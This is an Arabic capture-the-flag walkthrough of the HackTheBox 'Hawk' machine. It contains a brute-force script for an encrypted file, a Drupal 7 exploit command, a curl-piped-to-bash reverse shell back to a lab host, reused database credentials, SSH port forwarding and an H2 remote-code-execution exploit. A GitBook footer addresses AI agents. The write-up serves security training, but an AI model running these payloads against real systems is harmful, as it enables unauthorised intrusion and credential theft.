> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-medium/hawk-hackthebox-writeup.md). # شرح Hawk HackTheBox {% embed url="" %} {% hint style="warning" %} **المهارات:** * القوة الغاشمة وفك التشفير لمعيار OpenSSL Cipher * استكشاف/استغلال Drupal * استغلال قاعدة بيانات H2 {% endhint %} ## الاستطلاع **إعداد مساحة العمل:** قم بإعداد مساحة العمل بإنشاء ثلاثة مجلدات لتخزين المحتوى المهم، والاستغلالات، ونتائج استطلاع Nmap.
**فحص اتصال VPN** التحقق من اتصال VPN لضمان تواصل مستقر مع الجهاز المستهدف
**اكتشاف المنافذ المفتوحة باستخدام Nmap:** استكشاف المنافذ المفتوحة وتصديرها إلى الملف "allPorts" في دليل Nmap. ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.102 -oG allPorts ```
**تحليل المنافذ المفتوحة باستخدام extractPorts:** باستخدام دالة extractPorts لعرض المنافذ المفتوحة بشكل مختصر ونسخها إلى الحافظة (21,22,80,5435,9092)
#### فحص إصدارات المنافذ باستخدام Nmap: استخدم Nmap لفحص إصدارات الخدمات وحفظ الناتج في الملف "targeted": ```bash nmap -sCV -p21,22,80,5435,9092 10.10.10.102 -oN targeted ```
### المنفذ 21 - FTP نحن نتصل كـ **anonymous** مستخدم ونكتشف ملفًا مخفيًا يسمى `.drupal.txt.enc`.
## القوة الغاشمة - Openssh (.enc) > الـ **.enc** الامتداد يشير عادةً إلى ملف **مُرمَّز** (مشفّر). ويُستخدم للدلالة على أن محتوى الملف قد حُمي بواسطة خوارزمية تشفير، مما يجعل البيانات غير قابلة للقراءة بدون المفتاح أو كلمة المرور المناسبة. يمكن أن تحتوي هذه الملفات على أي نوع من البيانات (نصوص، صور، فيديوهات، إلخ) وتُستخدم عادةً لتأمين المعلومات الحساسة. الـ `.enc` الملف مشفّر باستخدام خوارزمية **AES-256-CBC** ومرمّز بصيغة **Base64**.
**الخطوة 1: فك ترميز Base64** ```bash cat .drupal.txt.enc | base64 -d > file_decoded.enc ```
**الخطوة 2: فك التشفير باستخدام OpenSSL** لفك شفرة الملف، نحتاج إلى كلمة مرور. إليك الأمر لمحاولة فك التشفير يدويًا: ```bash openssl enc -aes-256-cbc -d -in .drupal.txt.enc -out .drupal.txt -base64 ```
**الخطوة 3: سكربت أتمتة للقوة الغاشمة** نستخدم سكربت Bash لاختبار قائمة كلمات مرور (مثل `rockyou.txt`). ```bash #!/bin/bash function ctrl_c(){ echo -e "/n/n[!] جارٍ الخروج.../n" tput cnorm; exit 1 } # Ctrl+C trap ctrl_c INT tput civis for password in $(cat /usr/share/wordlists/rockyou.txt); do openssl aes-256-cbc -d -in drupal.enc -out drupal.decrypted -pass pass:$password &>/dev/null if [ "$(echo $?)" == "0" ]; then echo -e "/n[+] كلمة المرور هي : $password/n" exit 0 fi done; tput cnorm ``` **النتيجة:** كلمة المرور التي تم العثور عليها هي: **الأصدقاء**
#### **الرسالة المفكوكة التشفير** يحتوي الملف المفكوك التشفير على كلمة مرور جديدة: ```bash openssl enc -aes-256-cbc -d -in .drupal.txt.enc -out .drupal.txt -base64 الأصدقاء ``` * **PencilKeyboardScanner123**
## المنفذ 80 - HTTP يستضيف المنفذ 80 نظام Drupal 7 CMS. ```bash whatweb 10.10.10.102 ```
**المصادقة - الدخول بكلمة مرور** حاول الاتصال باستخدام `PencilKeyboardScanner123` كلمة المرور الخاصة بالمستخدم `admin` وتنجح المصادقة.
### Shell عكسي - Drupal 7 سنستخدم السكربت التالي لتنفيذ الأوامر على خادم Drupal أقل من الإصدار 7 (CVE-2018-7602): {% embed url="" %} ```bash python3 drupa7-CVE-2018-7602.py admin PencilKeyboardScanner123 http://10.10.10.102 -c "id" -f "passthru" ``` يتيح لك هذا الأمر تنفيذ `المعرّف` الأمر على الخادم.
**الوصول إلى الخادم**/ لإنشاء وصول إلى الخادم، نحتاج إلى الاستماع إلى المنفذ 443 باستخدام `nc` ```bash nc -nvlp 443 ``` ثم تنشئ `index.html` ملفًا بالمحتوى التالي لإنشاء shell عكسي: ```bash #!/bin/bash bash -i >& /dev/tcp/10.10.14.30/443 0>&1 ``` **خادم الويب وتنفيذ الأوامر**/ يشغّل خادم HTTP باستخدام Python: ```bash python3 -m http.server 80 ``` ثم أرسل الأمر التالي لتنزيل السكربت وتشغيله: ```bash curl http://10.10.14.3 | bash ``` ```bash python3 drupa7-CVE-2018-7602.py admin PencilKeyboardScanner123 http://10.10.10.102 -c "curl http://10.10.14.30 | bash" -f "passthru" ```
**تثبيت الطرفية** لإدارة الطرفية، تُستخدم الأوامر التالية: ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` ### الراية user.txt :)
## **تصعيد الامتيازات** من خلال استكشاف دليل الويب عند `/var/www/html`، يمكنك رؤية عدة ملفات إعدادات. ومن بينها، يتم تحديد ملف مثير للاهتمام:
**المسار :** `sites/default/settings.php` عند مراجعة هذا الملف، نجد معلومات حساسة: * اسم المستخدم: drupal * كلمة المرور: drupal4hawk
تتصل هذه الاعتمادات بقاعدة بيانات MySQL. وللقيام بذلك، تُستخدم الأوامر التالية: ```bash mysql -u drupal -p ```
بعد إدخال كلمة المرور، تُعرض جميع قواعد البيانات المتاحة، ثم يتم اختيار قاعدة البيانات المرتبطة بـ Drupal: ```sql show databases; use drupal; ``` بمجرد الدخول إلى قاعدة البيانات، نستكشف محتوى `users` الجدول للعثور على معلومات مثيرة للاهتمام: ``` SELECT * FROM users; ``` في هذا الجدول، نجد تجزئة كلمة مرور مرتبطة بمستخدم:
* `$S$DFw163ixD00W55hdCqtvCB13XOTLhZ0pt0FVpFy1Ntmdp5EAOX08` ### القوة الغاشمة باستخدام John - تجزئة كلمة المرور استخدم John لكسر تجزئة كلمة المرور ```bash john --wordlist=/usr/share/wordlists/rockyou.txt hash ``` ومع ذلك، في هذه الحالة المحددة، لم يتم العثور على تطابق في `rockyou.txt` قائمة كلمات المرور. ### الخروج من Python إلى Bash العادية تمكّنا من الوصول إلى الخادم كمستخدم `daniel` لديه كلمة مرور مرتبطة بقاعدة البيانات (في هذا المثال، **drupal4hawk**). إليك الأمر للاتصال: ```bash ssh daniel@10.10.10.182 ``` كلمة المرور: **drupal4hawk** بمجرد الاتصال، نكون مباشرة داخل مفسّر Python.
للعودة إلى صدفة Bash عادية، يمكننا استخدام `os` وحدة Python لتنفيذ أمر Bash. فيما يلي الخطوات: 1. استيراد الوحدة `os` : ```python import os ``` 2. تشغيل صدفة Bash: ```python os.system('/bin/bash') ``` سيتيح لك هذا الوصول إلى صدفة Bash عادية من مفسر Python.
## استغلال قاعدة بيانات H2 /*/* تحليل المنافذ المفتوحة/*/* للبداية، ندرج المنافذ المفتوحة داخليًا باستخدام الأمر التالي: ```bash netstat -tuln ``` نحدد أن المنفذ **8082** مفتوح ويستضيف خدمة. ومن خلال تحليله، نكتشف أنه نظام CMS لقاعدة بيانات: **قاعدة بيانات H2**.
للوصول إلى هذه الخدمة من جهازنا، نقوم بتحويل المنفذ باستخدام **SSH**، مع إعادة توجيه المنفذ الداخلي 8082 إلى المنفذ 8082 على جهازنا المحلي:
### إعادة توجيه المنافذ للوصول إلى هذه الخدمة من جهازنا، نقوم بتحويل المنفذ باستخدام **SSH**، مع إعادة توجيه المنفذ الداخلي 8082 إلى المنفذ 8082 على جهازنا المحلي: ```bash ssh -L 8082:127.0.0.1:8082 daniel@10.10.10.102 ``` ### قاعدة بيانات H2:
نستخدم **searchsploit** للبحث عن الثغرات المعروفة المرتبطة بقاعدة بيانات H2:
``` searchsploit -m java/webapps/45506.py ``` نجد ثغرة مثيرة تسمح بتنفيذ أوامر عن بُعد: ```bash python3 45506.py -H 127.0.0.1:8082 ```
### العلم root.txt :) يتيح لنا السكربت تنفيذ أوامر على الجهاز المستهدف. ومن خلال التنقل في النظام، نسترجع **الراية root.txt**.
--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-medium/hawk-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.